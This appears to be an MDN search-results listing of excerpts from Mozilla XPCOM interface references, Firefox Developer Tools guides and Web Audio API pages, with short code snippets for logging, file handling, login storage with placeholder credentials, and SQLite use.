... "component returned failure code: 0x80040111 (ns_error_not_available) [nsixpccomponents_utils.import]" nsresult: "0x80040111 (ns_error_not_available)" location: "js frame :: file.js :: <top_level> :: line 12" data: no] solution 1 var loader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getservice(components.interfaces.mozijssubscriptloader); loader.loadsubscript("chrome://myall/content/file.jsm"); see: http://mxr.mozilla.org/comm-central/...figutils.js#54 solution 2 append the following at the top of your js file which you want to run in xpcshell { // <https://developer.mozilla.org/en/xpconnect/xpcshell/howto> // <https://bugzilla.mozilla.org/show_bug.cgi?id=546628> let cc = components.classes; let ci = components.interfaces; // register resource://app/...
... uri let ios = cc["@mozilla.org/network/io-service;1"] .getservice(ci.nsiioservice); let reshandler = ios.getprotocolhandler("resource") .queryinterface(ci.nsiresprotocolhandler); let mozdir = cc["@mozilla.org/file/directory_service;1"] .getservice(ci.nsiproperties) .get("curprocd", ci.nsilocalfile); let mozdiruri = ios.newfileuri(mozdir); reshandler.setsubstitution("app", mozdiruri); // register chrome://* uris let cr = cc["@mozilla.org/chrome/chrome-registry;1"] .getservice(ci.nsichromeregistry); cr.checkfornewchrome(); } bug 546628 would make this unnecessary.
Observer Notifications
prepend "service," to the contract id in the category registration to be invoked via getservice() instead of createinstance().
... data is a string form of the origin (for use in security checks), eg "http://developer.mozilla.org".
...this notification will come only after the "http-on-examine-response" is fired, but it will not always appear.
... permission manager topic subject data description perm-changed nsipermission "deleted"/"added"/"changed"/"cleared" this notification is sent when a permission changes.
inIDOMUtils
inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/inspector/dom-utils;1 as a service: var inidomutils = components.classes["@mozilla.org/inspector/dom-utils;1"] .getservice(components.interfaces.inidomutils); method overview void addpseudoclasslock(in nsidomelement aelement, in domstring apseudoclass); void clearpseudoclasslocks(in nsidomelement aelement); [implicit_jscontext] jsval colornametorgb(in domstring acolorname); nsiarray getbindingurls(in nsidomelement aelement); nsidomnodelist getchildrenfornode(in nsidomnode anode, in boolean ashowinganonymousconten...
...":hover".
...":hover".
...":hover".
mozIAsyncFavicons
this function will only save favicons for "good" uris, as defined by what gets added to history or is a bookmark.
... for "bad" uris, this function will succeed but do nothing.
...getfaviconlinkforicon/page will ignore any associated data if the favicon uri is "chrome:" and just return the same chrome uri.
...getfaviconlinkforicon/page will ignore any associated data if the favicon uri is "chrome:" and just return the same chrome uri.
nsIAccessibleText
so this method might return utf-16 strings, or it could return "string" values which are utf-8.
...so this method might return utf-16 strings, or it could return "string" values which are utf-8.
...so this method might return utf-16 strings, or it could return "string" values which are utf-8.
...so this method might return utf-16 strings, or it could return "string" values which are utf-8.
nsICachingChannel
inherits from: nsicacheinfochannel last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface provides: support for "stream as file" semantics (for jar and plugins).
... support for "pinning" cached data in the cache (for printing and save-as).
... cachefile nsifile get the "file" where the cached data can be found.
...if not specified, data will be placed in "http-offline".
nsIConsoleService
inherits from: nsisupports last changed in gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16) implemented by: @mozilla.org/consoleservice;1 as a service: var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); method overview void getmessagearray([array, size_is(count)] out nsiconsolemessage messages, out uint32_t count);obsolete since gecko 19 void getmessagearray([optional] out uint32_t count, [retval, array, size_is(count)] out nsiconsolemessage messages); void logmessag...
... examples retrieving the message array to retrieve the message array in gecko prior to version 19: function getconsolemessagearray() { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); var array = {}; consoleservice.getmessagearray(array, {}); return array.value; } to retrieve the message array in gecko 19 or later: function getconsolemessagearray() { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] ...
... .getservice(components.interfaces.nsiconsoleservice); return consoleservice.getmessagearray(); } to retrieve the message array in a compatible way: function getconsolemessagearray() { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); var array = {}; return consoleservice.getmessagearray(array, {}) || array.value; } logging a simple message a common usage is logging a message string to the console: function log(msg) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); consoleservice.logstringmessage(msg); } alternative logging methods include componen...
... function mylogtoconsole(amessage, asourcename, asourceline, alinenumber, acolumnnumber, aflags, acategory) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); var scripterror = components.classes["@mozilla.org/scripterror;1"] .createinstance(components.interfaces.nsiscripterror); scripterror.init(amessage, asourcename, asourceline, alinenumber, acolumnnumber, aflags, acategory); con...
nsIDownloadManager
to get the service, use: var downloadmanager = components.classes["@mozilla.org/download-manager;1"] .getservice(components.interfaces.nsidownloadmanager); method overview nsidownload adddownload(in short adownloadtype, in nsiuri asource, in nsiuri atarget, in astring adisplayname, in nsimimeinfo amimeinfo, in prtime astarttime, in nsilocalfile atempfile, in nsicancelable acancelable, in boolean aisprivate); void addlist...
...is the type for a "generic file download" according to the .idl file.
... also notifies observers of the "download-manager-remove-download" topic with a null subject to allow any download manager consumers to react to the removals.
... also notifies observers of the "download-manager-remove-download" topic with the download id as the subject to allow any download manager consumers to react to the removal.
nsIEditorMailSupport
insertascitedquotation() insert a string as quoted text (whose representation is dependent on the editor type), replacing the selected text (if any), including, if possible, a "cite" attribute.
...acitation the "mid" url of the source message.
...inserttextwithquotations() inserts a plain text string at the current location, with special processing for lines beginning with ">", which will be treated as mail quotes and inserted as plain text quoted blocks.
...void inserttextwithquotations( in domstring astringtoinsert ); parameters astringtoinsert the string to be inserted pasteascitedquotation() paste a string as quoted text, whose representation is dependent on the editor type, replacing the selected text (if any) void pasteascitedquotation( in astring acitation, in long aselectiontype ); parameters acitation the "mid" url of the source message.
nsIEditorSpellCheck
to create an instance, use: var editorspellcheck = components.classes["@mozilla.org/editor/editorspellchecker;1"] .createinstance(components.interfaces.nsieditorspellcheck); method overview void addwordtodictionary(in wstring word); boolean canspellcheck(); void checkcurrentdictionary(); boolean checkcurrentword(in wstring suggestedword); boolean checkcurrentwordnosuggest(in wstring suggestedword); astring getcurrentdictionary(); ...
...typically, this is an iso language code, such as "en-us".
...the strings will typically be language ids, such as "en-us".
...typically, this is an iso language code such as "en-us".
nsIHttpHeaderVisitor
void visitheader( in acstring aheader, in acstring avalue ); parameters aheader a string containing the key for a header such as "content-type" avalue the header's value field such as "text/html".
... mynsihttpheadervisitor = function ( ) { this._isflash = false; }; mynsihttpheadervisitor.prototype.visitheader = function ( aheader, avalue ) { if ( aheader.indexof( "content-type" ) !== -1 ) { if ( avalue.indexof( "application/x-shockwave-flash" ) !== -1 ) { this._isflash = true; } } }; mynsihttpheadervisitor.prototype.isflash = function ( ) { return this._isflash; }; myhttprequestobserver = function ( ) { this.register( ); this.aborted = components.results.ns_binding_aborted; this.nsiht...
...ver.prototype.observe = function ( subject, topic, data ) { var uri, avisitor; if ( subject instanceof this.nsihttpchannel ) { avisitor = new mynsihttpheadervisitor( ); subject.visitresponseheaders( avisitor ); if ( avisitor.isflash( ) ) { uri = subject.uri; subject.cancel( this.aborted ); alert( "found flash!" ); //handle flash file here } } }; myhttprequestobserver.prototype.register = function ( ) { var observerservice = components.classes[ "@mozilla.org/observer-service;1" ].getservice( components.interfaces.nsiobserverservice ); observerservice.addobserver(this, "http-on-examine-response", false); observerservice.addobserver(this, "http-on...
...-examine-cached-response", false); }; myhttprequestobserver.prototype.unregister = function ( ) { var observerservice = components.classes[ "@mozilla.org/observer-service;1" ].getservice( components.interfaces.nsiobserverservice ); observerservice.removeobserver( this, "http-on-examine-response" ); observerservice.removeobserver(this, "http-on-examine-cached-response"); }; see also nsihttpchannel ...
nsIINIParser
*/ function getinivalue (inifile, section, prop) { var inifact = components.manager.getclassobjectbycontractid( "@mozilla.org/xpcom/ini-parser-factory;1", components.interfaces.nsiiniparserfactory ); var iniparser = inifact.createiniparser(inifile); try { return iniparser.getstring(section,prop); } catch(e) { return undefined; } } // usage: var lang = getinivalue(file,"setting","language"); enumerating sections this example gets a list of all the sections in the ini file.
... // get all sections in the ini file var sectenum = iniparser.getsections(); // save the sections in an array var sections = []; while (sectenum && sectenum.hasmore()) { var section = sectenum.getnext(); // add an array entry for each section sections.push(section); } enumerating keys this example shows how to fetch the values for all the keys in the section named "setting".
... // get all keys for the "setting" section var keysenum = iniparser.getkeys("setting"); // save the keys and values in an object var keys = {}; while (keysenum && keysenum.hasmore()) { var key = keysenum.getnext(); // create a property for each key and assing the ini value.
... keys[key] = iniparser.getstring("setting", key); } see also nsiiniparserfactory nsiiniparserwriter ...
Using nsILoginManager
getting nsiloginmanager to get a component implementing nsiloginmanager, use the following: var passwordmanager = components.classes["@mozilla.org/login-manager;1"].getservice( components.interfaces.nsiloginmanager ); most login manager functions take an nsilogininfo object as a parameter.
...defining an nsilogininfo object is simple: var nslogininfo = new components.constructor( "@mozilla.org/login-manager/logininfo;1", components.interfaces.nsilogininfo, "init" ); var logininfo = new nslogininfo( hostname, formsubmiturl, httprealm, username, password, usernamefield, passwordfield ); examples creating a login for a web page var formlogininfo = new nslogininfo( 'http://www.example.com', 'http://login.example.com', null, 'joe', 'secret123', 'uname', 'pword' ...
...); this login would correspond to a html form such as: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="password" name="pword"> </form> creating a site authentication login var authlogininfo = new nslogininfo( 'http://www.example.com', null, 'exampleco login', 'alice', 'secret321', "", "" ); this would correspond to a login on http://www.example.com when the server sends a reply such as: http/1.0 401 authorization required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', 'bob', '123secret', ""...
..., "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmiturl, ausername, ausernamefield, ...
nsIScriptError
to create an instance, use: var scripterror = components.classes["@mozilla.org/scripterror;1"] .createinstance(components.interfaces.nsiscripterror); note: the nsiscripterror2 interface was merged into this interface in gecko 12.0.
... function mylogtoconsole(amessage, asourcename, asourceline, alinenumber, acolumnnumber, aflags, acategory) { var consoleservice = components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice); var scripterror = components.classes["@mozilla.org/scripterror;1"] .createinstance(components.interfaces.nsiscripterror); scripterror.init(amessage, asourcename, asourceline, alinenumber, acolumnnumber, aflags, acategory); con...
...as addon author i would recommend using "chrome javascript" for logging exceptions caused by addon code.
... categories the web console does not display "xpconnect javascript" "component javascript" "chrome javascript" "chrome registration" "xbl" "xbl prototype handler" "xbl content sink" "xbl javascript" "frameconstructor" categories the web console displays "hudconsole" "css parser" "css loader" "content javascript" "dom events" "dom:html" "dom window" "svg" "imagemap" "html" "canvas" "dom3 load" "dom" "malformed-xml" "dom worker javascript" "mixed content blocker" "csp" "invalid hsts headers" "insecure password field" see also using the web console error console nsiconsolemessage nsiscripterror2 ...
nsIScriptableIO
for example: io.getfile("profile", "cookies.txt"); from an xpcom component, however, you will need to get a reference as with other components: var scriptableio = components.classes["@mozilla.org/io/scriptable-io;1"] .getservice(); scriptableio.getfile("profile", "cookies.txt"); method overview nsifile getfile(in astring alocation, in astring afilename); nsifil...
...for example, if the location key is specified as "desk" and the file name is specified as "foo.txt", the file reference generated will refer to a file named "foo.txt" on the user's desktop.
... example: writing to a file var json = "{ name: 'bob', age: 37}"; var file = io.getfile("profile", null); file.append("myobject.json"); if (!file.exists()) file.create(ci.nsifile.normal_file_type, 0600); var stream = io.newoutputstream(file, "text write create truncate"); stream.writestring(json); stream.close(); example: reading from a file var file = io.getfile("profile", null); file.append("localstore.json"); if (file.exists()) { ...
... var stream = io.newinputstream(file, "text"); var json = stream.readline(); stream.close(); } see also nsifile, nsiinputstream, nsioutputstream ...
nsISelection
as a service: var selection = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsiselection); method overview void addrange(in nsidomrange range); void collapse(in nsidomnode parentnode, in long offset); [noscript,notxpcom,nostdcall] boolean collapsed(); void collapsenative(in nsidomnode parentnode, in long offset); native code only!
...void modify( in domstring alter, in domstring direction, in domstring granularity ); parameters alter can be one of { "move", "extend()" } "move" collapses the selection to the end of the selection and applies the movement direction/granularity to the collapsed() selection.
... "extend()" leaves the start of the selection unchanged, and applies movement direction/granularity to the end of the selection.
... direction can be one of { "forward", "backward", "left", "right" } granularity can be one of { "character", "word", "line", "lineboundary" } removeallranges() removes all nsidomranges from the current selection.
nsIWebBrowserPersist
to create an instance, use: var webbrowserpersist = components.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"] .createinstance(components.interfaces.nsiwebbrowserpersist); method overview void cancelsave(); void savechannel(in nsichannel achannel, in nsisupports afile); void savedocument(in nsidomdocument adocument, in nsisupports afile, in nsisupports adatapath, in string aoutputcontenttype, in un...
...the basic set is just & < > " for interoperability with older products that don't support α and friends.
... example function downloadfile(httploc, sourcewindow) { try { //new obj_uri object var obj_uri = components.classes["@mozilla.org/network/io-service;1"].getservice(components.interfaces.nsiioservice).newuri(httploc, null, null); //new file object var obj_targetfile = components.classes["@mozilla.org/file/local;1"].createinstance(components.interfaces.nsilocalfile); //set file with path obj_targetfile.initwithpath("c:\\temp\\test.pdf"); //if file doesn't exist, create if(!obj_targetfile.
...exists()) { obj_targetfile.create(0x00,0644); } //new persistence object var obj_persist = components.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"].createinstance(components.interfaces.nsiwebbrowserpersist); // with persist flags if desired const nsiwbp = components.interfaces.nsiwebbrowserpersist; const flags = nsiwbp.persist_flags_replace_existing_files; obj_persist.persistflags = flags | nsiwbp.persist_flags_from_cache; var privacycontext = sourcewindow.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebnavigation) .queryinterface(components.interfaces.nsiloadcontext); //save file to target obj_per...
nsIWebNavigationInfo
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) implemented by: @mozilla.org/webnavigation-info;1 as a service: var webnavigationinfo = components.classes["@mozilla.org/webnavigation-info;1"] .getservice(components.interfaces.nsiwebnavigationinfo); method overview unsigned long istypesupported(in acstring atype, in nsiwebnavigation awebnav); constants support type constants constant value description unsupported 0 returned by istypesupported() to indicate lack of support for a...
... plugin 2 returned by istypesupported() to indicate that a type is supported via an npapi ("netscape 4 api") plug-in.
... this is not the value returned for "xpcom plug-ins".
...example let webnavigationinfo_service = components.classes["@mozilla.org/webnavigation-info;1"] .getservice(components.interfaces.nsiwebnavigationinfo); let support_code = webnavigationinfo_service.istypesupported(contenttype, null); if (support_code == webnavigationinfo_service.unsupported) { dump("unsupported content-type: not displaying in the browser\n"); } see also nsiwebnavigation ...
nsIWebProgressListener
*/ let mm = window.getgroupmessagemanager("browsers"); mm.loadframescript("chrome://path/to/some/example-framescript.js", true); mm.addmessagelistener("myaddonmessage", (message) => { let data = message.data; let browser = message.target; let outerwindowid = data.outerwindowid; // browser is now the <xul:browser> that saw the web progress activity // occur.
... cu.reporterror("saw: " + data.name + " -- passing: " + json.stringify(data)); }); /** * below is the contents of example-framescript.js */ const {classes: cc, interfaces: ci, utils: cu} = components; cu.import("resource://gre/modules/xpcomutils.jsm"); var mylistener = { queryinterface: xpcomutils.generateqi(["nsiwebprogresslistener", "nsisupportsweakreference"]), onstatechange: function(awebprogress, arequest, aflag, astatus) { let win = awebprogress.domwind...
...ow; let outerwindowid = win.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindowutils) .outerwindowid; sendasyncmessage("myaddonmessage", { name: "onstatechange", flag: aflag, status: astatus, }); }, onlocationchange: function(aprogress, arequest, auri, aflag) { let win = awebprogress.domwindow; let outerwindowid = win.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindowutils) .outerwindowid; sendasyncmessage("myaddonmessage", { name: "onlocationchange", outerwindowid: outerwindowid, uri: auri.spec, ...
... charset: auri.charset, flag: aflag, }); }, // for definitions of the remaining functions see related documentation onprogresschange: function(awebprogress, arequest, curself, maxself, curtot, maxtot) {}, onstatuschange: function(awebprogress, arequest, astatus, amessage) {}, onsecuritychange: function(awebprogress, arequest, astate) {} } let filter = cc["@mozilla.org/appshell/component/browser-status-filter;1"] .createinstance(ci.nsiwebprogress); filter.addprogresslistener(mylistener, ci.nsiwebprogress.notify_all); let webprogress = docshell.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebprogress); webprogress.addprogresslistener(filter, ci.nsiwebprogress.notify_all); xulbrowserwindow.o...
nsIXULWindow
when the window is destroyed, it will fire a "xul-window-destroyed" notification through the global observer service.
... constants constant value description lowestz 0 loweredz 4 the z level of an independent window opened with the "alwayslowered" chrome flag.
... raisedz 6 the z level of an independent window opened with the "alwaysraised" chrome flag.
... nsidocshelltreeitem getcontentshellbyid( in wstring id ); parameters id the id of the content shell, which is the same as the "type" attribute on the containing frame element.
NS_ASSERTION
note on terminology: "assertion" is the condition to test.
...only if the assertion evaluates to false is there an "assertion failure", which is thrown.
... the phrase "throwing an assertion" makes no sense.
... syntax ns_assertion(expressiontotest, "error text"); see also ns_abort_if_false ns_precondition ns_postcondition disabling assertion dialog box on windows ...
Using the Gecko SDK
(more information on xpcom is available at the xpcom project page.) the intent of this guide is to help you build your components "the right way" such that they will remain compatible with future versions of mozilla.
...the frozen gecko api consists of a set of component interfaces (c++ vtables) and <tt>extern "c"</tt> symbols exported from the xpcom library and the nspr libraries.
...(ports of this guide are welcome.) a "frozen" interface or function is guaranteed to be supported by future versions of same major version of the platform.
...every frozen interface or function will be labeled as such in the idl or header file with "@status frozen".
Working with Multiple Versions of Interfaces
to do this i used the accessibility framework: hwnd gethwnd(nsidomnode *node){ hwnd self = null; nsresult rv; nscomptr<nsiaccessibleretrieval> refp; refp = do_createinstance( "@mozilla.org/accessibleretrieval;1", &rv); if (ns_failed(rv)){ return self; } //line 6.
...unfortunately we compiled this in the latest sdk, and so this magic number happens to be: "244e4c67-a1d3-44f2-9cab-cdaa31b68046" whereas, inside firefox 2, the iid it happens to know about is: "663ca4a8-d219-4000-925d-d8f66406b626".
...to include both retrieval interfaces (and remember the old iid without having to cut and paste) i followed the kind advice of mike shaver and did: #define nsiaccessibleretrieval nsiaccessibleretrieval_old #include "accessibility/nsiaccessibleretrieval_old.h" static const nsiid ns_iaccessibleretrieval_iid_old = ns_iaccessibleretrieval_iid; #undef nsiaccessibleretrieval #undef __gen_nsiaccessibleretrieval_h__ #include "accessibility/nsiaccessibleretrieval.h" and following the identical principle for the document interface: #define nsiaccessibledocument nsiaccessibledocument_old #include "accessibility/nsiacc...
...essibledocument_old.h" static const nsiid ns_iaccessibledocument_iid_old = ns_iaccessibledocument_iid; #undef nsiaccessibledocument #undef __gen_nsiaccessibledocument_h__ #include "accessibility/nsiaccessibledocument.h" i even silenced my friend the compiler by enclosing both incantations within a compiler pragma: #pragma warning(push) #pragma warning(disable : 4005) ...
Demo Addon
how to use after installing the demo add-on in thunderbird, right click on the toolbar and choose "customize".
... drag the "demo" button into the toolbar.
...it lets you iterate over any collection and transforms your collection elements in the given objects, to use fixiterator, you have to import it with cu.import("resource:///modules/iteratorutils.jsm");.
..." *" : "") + "\n"; if (folder.hassubfolders) for each (let folder in fixiterator(folder.subfolders, ci.nsimsgfolder)) print(indent + " ", folder); }; print(" ", folder); as in the previous example, we get the incomingserver of the account in question.
Use SQLite
const cc = components.classes; const ci = components.interfaces; var tbirdsqlite = { onload: function() { // initialization code this.initialized = true; this.dbinit(); }, dbconnection: null, dbschema: { tables: { attachments:"id integer primary key, \ name text \ encoded text not null" } }, dbinit: function() { var dirservice = cc["@mozilla.org/file/directory_service;1"].
... getservice(ci.nsiproperties); var dbfile = dirservice.get("profd", ci.nsifile); dbfile.append("tbird.sqlite"); var dbservice = cc["@mozilla.org/storage/service;1"].
... this.dbconnection = dbconnection; }, _dbcreate: function(adbservice, adbfile) { var dbconnection = adbservice.opendatabase(adbfile); this._dbcreatetables(dbconnection); return dbconnection; }, _dbcreatetables: function(adbconnection) { for(var name in this.dbschema.tables) adbconnection.createtable(name, this.dbschema.tables[name]); }, }; window.addeventlistener("load", function(e) { tbirdsqlite.onload(e); }, false); this is another practical sample on how to handle opendatabase and sql queries on the client side, using in-memory (blob) storage of 2mb: var db = opendatabase('mydb', '1.0', 'test db', 2 * 1024 * 1024); var msg; db.transaction(function (tx) { tx.executesql('create table if not exists logs (id unique, log)'); tx.executesql('insert into l...
...ogs (id, log) values (1, "foobar")'); tx.executesql('insert into logs (id, log) values (2, "logmsg")'); msg = '<p>log message created and row inserted.</p>'; document.queryselector('#status').innerhtml = msg; }); db.transaction(function (tx) { tx.executesql('select * from logs', [], function (tx, results) { var len = results.rows.length, i; msg = "<p>found rows: " + len + "</p>"; document.queryselector('#status').innerhtml += msg; for (i = 0; i < len; i++){ msg = "<p><b>" + results.rows.item(i).log + "</b></p>"; document.queryselector('#status').innerhtml += msg; } }, null); }); ...
Using tab-modal prompts
you can force a prompt to be tab-modal using code like this: var thewindow = gbrowser.contentwindow; let prompt = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory) .getprompt(thewindow, components.interfaces.nsiprompt); let bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); the var "thewindow" is a reference to the dom window.
... even if you set it to the browser window ("var thewindow = window") the modal alert will be shown in the current tab.
...for example: var factory = components.classes["@mozilla.org/prompter;1"] .getservice(components.interfaces.nsipromptfactory); var prompt = factory.getprompt(gbrowser.contentwindow, components.interfaces.nsiprompt); var bag = prompt.queryinterface(components.interfaces.nsiwritablepropertybag2); bag.setpropertyasbool("allowtabmodal", true); var promptargs = ["devmo alert", "omg!
... an alert!"]; prompt.alert.apply(null, promptargs); nsiprompt will automatically fall back to window-modal prompts when necessary (such as in situations in which tab-modal prompts aren't supported, or for prompts displayed outside the context of a tab).le to use other forms of the prompts of nsipromptservice interface see the example code.
Zombie compartments
viewing live compartments if you want to see a list of live compartments, type "about:memory" into the address bar and click on the measure button.
... first, many sites utilize scripts from other sites to provide advertisements, "like" and "+1" buttons, twitter feeds, etc.
..."plugins/like.php?...").
... otherwise, please file a bug (using the "tech evangelism" product and the "add-ons" component), add "[memshrink]" to its whiteboard, and mark it as blocking bug 668871 and bug 700547.
ctypes.open
if the native file is located at chrome://youraddon/content/mysubfolder/mycfunctionsforunix.so then it is converted to a file uri like this: components.utils.import("resource://gre/modules/services.jsm"); var cr = components.classes['@mozilla.org/chrome/chrome-registry;1'].getservice(components.interfaces.nsichromeregistry); var chromeuri_mylib = services.io.newuri('chrome://youraddon/content/mysubfolder/mycfunctionsforunix.so', 'utf-8', null); var localfile_mylib = cr.convertchromeurl(chromeuri_mylib); var jarpath_mylib = localfile_mylib.spec; // "jar:file:/...
...//c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@jetpack.xpi!/mysubfolder/mycfunctionsforunix.so" var filepath_mylib = localfilemylib.path; // "file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aecgxse.unnamed%20profile%201/extensions/youraddon@jetpack.xpi!/mysubfolder/mycfunctionsforunix.so" if your add-on is a bootstrap add-on, then you don't need to use this method to convert a chrome:// path; instead, on startup procedure of the bootstrap add-on obtain the file and/or jar path from installpath from the adata parameter.
...if addon is packed, this will be addon xpi } this can then be joined with your file name to obtain it's path like this: function startup(adata, areason) { var jarpath_folder = 'jar:' + os.path.tofileuri(adata.installpath.path) + '!/'; // if unpacked is false in install.rdf this will look like: "jar:file:///c:/users/vayeate/appdata/roaming/mozilla/firefox/profiles/aksozfjt.unnamed%20profile%2010/extensions/asynczip@jetpack!/" var filepath_folder = adata.installpath.path; // if unpacked is set to false in install.rdf this will look like: "c:\users\vayeate\appdata\roaming\mozilla\firefox\profiles\aksozfjt.unnamed profile 10\extensions\asynczip@jetpack" var filepath_mylib = os.path.
... var lib = ctypes.open(filepath_mylib); var add_with_c = lib.declare("add", ctypes.default_abi, ctypes.int, // return type ctypes.int, // a ctypes.int // b ); var rez = add_with_c(2, 5); // rez is 7 lib.close(); references heather's paragraphs: playing around with js-ctypes on linux - credits for basis of this article github :: diegocr - fx-sapi-test - creating a native file for windows (dll) and use in a simple bootstrap add-on standard os libraries see standard os libraries ...
CType
ptr ctype returns a ctype representing the data type "pointer to this type".
... return value a ctype representing the data type "array of this type".
... example ctypes.uint32_t.tosource() returns "ctypes.uint32_t".
...the format of this string is "type " + name.
DOM Property Viewer - Firefox Developer Tools
to enable it, open the developer tool settings and check the "dom" box under "default firefox developer tools".
... opening the dom property viewer once enabled, you can open the dom property viewer by selecting "dom" from the web developer submenu in the firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its ctrl + shift + w keyboard shortcut.
...it's just called "dom" in the toolbox.
...if a property has more elements than this, you'll see a "more..." annotation, and will need to click the property to see all elements.
Examine, modify, and watch variables - Firefox Developer Tools
if you need to use it, you can, for now, switch back to the old debugger by visiting about:config and setting the "devtools.debugger.new-debugger-frontend" preference to false.
... you can filter the variables that are displayed, either by using the "*" modifier in the script filter, or by typing into the filter variables box, if you have enabled this in the debugger settings.
...to add a watch expression, click in the box that says "add watch expression" and enter a javascript expression whose output you'd like to monitor as you step through code.
...you can remove a watch expression by clicking the "x" icon next to it, and, of course, you can have more than one watch expression at a time.
UI Tour - Firefox Developer Tools
ignore source causes the debugger to skip the file when "stepping into" functions; this can be helpful for avoiding stepping into libraries used by your code.
...when it displays a "play" icon, that means the script is paused, either because you've paused it with this button or because you've hit a breakpoint.
... ignore source causes the debugger to skip the file when "stepping into" functions.
... scopes in the right-hand pane you'll see a label "scopes" with a disclosure arrow next to it.
Using the Debugger map scopes feature - Firefox Developer Tools
select the "bundle.js" file in the sources panel on the left and then set a breakpoint at line 102 in the increment function.
... when you click the increment button on the page and hit the breakpoint, an additional section is added to the right-hand panel below the call stack to display variables mapped from the original scope, like this: as useful as this is, it would be even nicer if you could view the original code (before it was packages into the "bundle.js" file.
... the debugger opens the file "increment.js" so you can view the original code.
... notice that your breakpoint is set here in the original code as it was in the corresponding line in the "bundle.js" file.
Animating CSS properties - Firefox Developer Tools
this operation is labeled "layout" but is also sometimes called "reflow".
...one last step is not shown in this sequence: the page may be split into layers, which are painted independently and then combined in a process called "composition".
... there's also a video version of this walkthrough: animating using margin leaving the "use margin" option set, start the animation, open the performance tool, and make a recording.
... animating using transform now switch the radio button in the web page to "use transform", and make a new recording.
Cookies - Firefox Developer Tools
if the cookie is a session cookie, the value of this column will be "session" size — the size of the cookie name plus value in bytes.
... you can edit cookies by double-clicking inside cells in the table widget and editing the values they contain, and add new cookies by clicking the "plus" (+) button and then editing the resulting new row to the value you want.
...for example, if you select "delete all from test8.example.com" only cookies from that domain will be deleted.
... cookies from "test13.example.com" will not be deleted.
Style Editor - Firefox Developer Tools
the style editor enables you to: view and edit all the stylesheets associated with a page create new stylesheets from scratch and apply them to the page import existing stylesheets and apply them to the page to open the style editor choose the "style editor" option from the "web developer" menu (which is a submenu in the "tools" menu on the mac).
... viewing original sources now, if you check "show original sources" in the style editor settings, the links next to css rules in the rules view will link to the original sources in the style editor.
...with sass you can do this simply by passing the --watch option: sass index.scss:index.css --watch next, save the original source in the style editor by clicking the "save" button next to the file, and saving it over the original file.
... to select these, visit about:config, select the setting devtools.editor.keymap, and assign "vim" or "emacs", or "sublime" to that setting.
AudioContextOptions - Web APIs
constants standard values for latencyhint the latencyhint property can be number specifying a preferred maximum latency in seconds or a string from the audiocontextlatencycategory enumerated string, which selects a standard value for a given type of audio usage: value description "balanced" the user agent should balance audio output latency and power consumption when selecting a latency value.
... "interactive" the audio is involved in interactive elements, such as responding to user actions or needing to coincide with visual cues such as a video or game action.
... "playback" the user agent should select a latency that will maximize playback time by minimizing power consumption at the expense of latency.
... let musiccontext = new audiocontext({ latencyhint: "playback", samplerate: 48000 }); specifications specification status comment web audio apithe definition of 'audiocontextoptions' in that specification.
AudioNode - Web APIs
WebAPIAudioNode
a filter like biquadfilternode or convolvernode), or volume control (like gainnode) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /...
...><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audionode" target="_top"><rect x="151" y="1" width="90" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="196" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">audionode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: an audionode can be target of events, therefore it implements the eventtarget in...
... keep in mind that microsoft edge does not yet appear to support the constructors; it will throw a "function expected" error when you use the constructors.
... the possible values are "speakers" or "discrete".
AudioTrack.language - Web APIs
